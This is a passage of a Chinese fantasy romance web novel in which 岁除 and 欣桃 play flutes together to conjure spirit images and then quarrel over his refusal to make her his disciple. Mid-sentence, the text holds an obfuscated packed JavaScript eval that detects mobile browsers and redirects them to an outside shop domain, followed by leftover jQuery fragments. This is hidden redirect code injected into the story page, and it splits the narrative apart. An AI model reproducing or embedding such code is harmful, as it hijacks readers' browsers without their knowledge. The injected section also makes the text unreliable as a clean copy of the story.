岁除微微勾起嘴角,“一样的道理,这又怎么能怪你。他的心魔不是你促成的,你不需要为他的行为负责,他的错与你无关。”
欣桃备受震撼,觉得岁除也太偏袒她了,望着他的眼,久久无法移开目光。
岁除也感觉自己的目光被她锁住,无法移开,直到谛听轻轻哼了一声才回过神来。
两人皆不好意思地别开目光。
“我,我先出去了,今晚还有接待各位门主的宴会,需得我去看看准备得怎么样了。”
“我也要回天云州一趟,有事需得与盟主商议。”
两人说着一起急忙往外走,却又不小心撞到一起。岁除本能地抬手去扶她,她却像触电一样跳开,往外跑,跑了两步又回过头来,“你记得要来!我等你回来!”
“嗯。我会尽快回来。”
欣桃得了他的回应,逃之夭夭,可逃到一半又为自己的行为感到莫名其妙。
欣桃百思不得其解,又满怀期待地等岁除回来,可最后等到宴会散了,岁除都没有回来。
欣桃倍感失望,又忐忑不安,担忧他是不是又遇到什么麻烦事。宴会结束后,一直坐在岁除房门口等他回来。
等了一个时辰,岁除终于回来了,却满脸疲惫。
“怎么了?是又遇到什么难办的事了?告诉我,我帮你参谋参谋。参谋不了,我就当你的倾诉者。”
岁除笑了,扫去一身疲惫,“没事,都解决了。”
欣桃心想他不愿意说或许是太累了,想要早些休息,便打算离开,“嗯。那你早些休息,我也回房去了。”
岁除回来见到她竟然等在他的房门口本是满心欢喜,却听她忽然要走,又满心失落。
他连忙叫住她,“欣桃!”
欣桃并没有走远,停下脚步回头看他,“嗯?”
岁除想说什么挽留她,却一时想不到什么好的理由,“新的火控术练得如何?有什么不懂的地方?”
欣桃心想他虽然不肯收她为徒,但比做她师父还敬业,更加心疼他,赶紧摇头,“没有。”
“那新学的阵法有没有哪里不懂?”
欣桃还是摇头,“没有。”
“那……”
“都没有!你放心,我若是遇到不懂的地方必然会向你请教。你近日劳累,还是早些回房休息吧。你若是真的不放心,我明日再给你展示。”说完转身又要走。
“欣桃!”岁除又急忙叫住她。
“嗯?”欣桃不明所以,又停下脚步回头看他,“怎么了?”
“你,能陪我坐一会儿吗?”岁除忽然不敢直视她的目光,可刚移开目光又移回来,满怀期待地望着她。
欣桃惊讶之余,心里产生微妙的感觉,为什么想要她陪他坐一下?没有理由,没有原因,只是让她陪他一会儿?还如此热切地盼望,欣桃无法拒绝,点头答应。
两人并肩在门口坐下,此刻星星缀满夜空,夜风轻轻吹过时,似有幽幽花香。
“要不,我给你吹首曲子听吧?”欣桃心想给他吹首静心曲,放松一下心情,待会儿也好入眠。
“好。”岁除欢喜非常,甚至可以说是欣喜若狂,这可是她第一次主动提出为他吹奏,他求之不得,日思夜想。
他看着她拿出问怜,放置唇边,手指微动,便吹奏出令他身心愉悦的音符。
庭院内,有灵像萤火虫缓缓飞起,一个,两个,三个......越来越多,最后布满整个庭院。
可岁除完全没有留意到,目光依旧只落在欣桃身上。
欣桃感觉到他强烈的目光,朝他看过去,见他一脸痴傻,虽心下疑惑,却顾不得思索,朝他挤眉弄眼示意他往前面看。
岁除这才羞赧地回过神来。
他往前看,正见灵混聚成一只吞天之鲸张开大口朝他飞过来,他一愣神,吞天之鲸鱼将他吞食入腹,却又在他周身如星沙散落,如星河流向天际。
岁除又一次看向欣桃,她亦眉眼含笑看着他。
他忽而从她的眼里感受了什么,拿住自己的笛子与她一同合奏起来。
一声悠扬,一声清脆,灵也分做两股星流,相互缠绕盘旋而上,最后在漆黑的夜空炸出一棵伞状的擎天巨树,白玉兰地花纷纷绽放。
一阵风吹来,落花纷飞,变化做一双蝴蝶于庭院上空嬉戏打闹,双宿双飞。
隔壁院子的宝祝仙长将这副景象收入眼底,正想往欣桃的院子冲过去,“这个欣桃,大半夜的不睡觉又在这里闹什么?”
刚走到院门口看到着吹笛御灵的不只欣桃一人,还有岁除仙君,立马将迈出脚步收回来。
她向左歪了歪脑袋看看,向右歪了脑袋看看,而后笑眯眯地点头,自古双人御灵需得两人心有灵犀,灵魂默契,才能共同以灵作画,看来这岁除仙君是喜欢她的欣桃啊!
她立马转身往清来院子去,她得好好问问这两人的情况。
欣桃收了问怜,心不止地狂跳,她完全没有想到自己与岁除一同御灵能这么默契,当初她竟然还嫌弃他!若是早些知道,她与他这么默契,早便一起御灵玩耍,想要以灵作画,画出个恢宏巨作不行呢?
岁除看着欣桃目光炽热,心潮澎湃,心里的话几乎要脱口而出,可她突然来了一句:
“你,要不要再考虑考虑收我为徒?”
岁除觉自己被泼了一盆冷水,很是丧气。
“如何嘛?当初你缠着我不放,如今我三番四次求你,你却怎么都不肯?你这人怎么说变心就变心!”
“我没变心。不是,这根本不涉及变心之事。”
“怎么就不是变心?”
岁除愁得脑壳疼,明明方才一同御灵,两人默契配合,他几乎能感受到她的心意,可为何收了笛子,却变成这副模样,是他的错觉吗?
他盯着她那双圆溜溜的杏眼,眸光如星光明亮,不,如月光清亮,似有那么一丝丝情意,可这份情意究竟是不是男女之情,他说不准。
岁除在心里暗暗叹息,他对情爱毫无经验,若是若风在,或许还能为他参谋参谋。
“今晚你必须告诉我,到底收不收我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658167|203607||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
为徒?”欣桃站起来俯视他。
岁除丧气地转过头,不敢迎上她的目光,“不收。”
“那你总得给我个理由。”欣桃叉着腰气道。
“理由,”岁除看了她一眼,她鼓着脸正气着,面对这样的她,他怎么说得出口?“理由就是不能,不想。我不想与你成为师徒关系。我......”
“你还说你不是变心!”
他哪里是变心,他是整颗心都遗失在她那里的,她却浑然未觉。
他焦急地站起来,想找个不容置疑的理由,开口却是苍白无力,“如今大战在即,我没有太多时间教你。”
“我这么聪明,不用你多费时间,只需指点一二即可。我这样省心的徒弟多好!你赶紧收了吧!”
岁除丧气地坐下来,“如今我事务繁忙,也没办法为你举行拜师典礼。”
“我又不在乎那些虚礼,你也不应该在乎那些虚礼呀!”
岁除此刻很想谎称他在乎,可他并不擅长说违心的话。
“我找不到一件合适的宝物可以作为收徒的礼物送给你。”
“我又不是为了礼物才拜你为师!”
岁除被自己气疯了,他怎么就找不到一个像样的理由拒绝她?他又一次站起来,“我们属性不合,不合适成为师徒!”
“你拿我当初拒绝你的理由来糊弄我!”欣桃气极,“我知道了,你这是怀恨在心,想报复我!”
岁除感觉自己要崩溃了,慌忙躲进屋子,关上门,将自己与欣桃隔在一扇门之外。
“我累了!要休息了!”
欣桃见他这副模样气得跳脚,“你果然是故意的!你这个小气鬼!枉我刚才还心疼你,为你吹奏御灵曲!”
“对不起,欣桃,我日后再跟你解释。”
“不必了!”欣桃气得牙痒痒,转身迈着大步回自己的房间,砰地一声关上房门!
关门的声音之大,连躲在房间里的岁除都听见了。
他心上一跳,知道自己惹她生气了,连忙打开门,可出去叩了她房门,她再次追问为何不收她为徒,他又该怎么说的呢?
直接告诉她,他不想收她为徒是因为想娶她为妻,会直接吓到她吧?届时她若真被吓到,就不是像当初不肯拜他为师那样嫌弃他而已。
岁除苦恼地关上门,那边欣桃听到动静打开门,可走出来往他门口一看,见房门仍是紧闭着,又气鼓鼓地转身回房。
这夜,欣桃辗转反侧,思索了一整夜也想不明白岁除为什么不肯收她为徒。觉得他这心就跟海底针一样,难懂!
清晨,欣桃顶着一双乌青的眼出门,心中对岁除生出怨气。
岁除等在她门口,准备一起前往百兽园观看百兽训练,可她无视他,直接从他面前走过,连一声招呼都不打。
岁除愣了一下,叫唤着她跟上去,她依旧不理会他自顾自地往前走。
一整个上午,不管岁除与她说什么,她还不理睬他。
岁除觉得自己的心七上八下的,然而欣桃的心里也不太好受。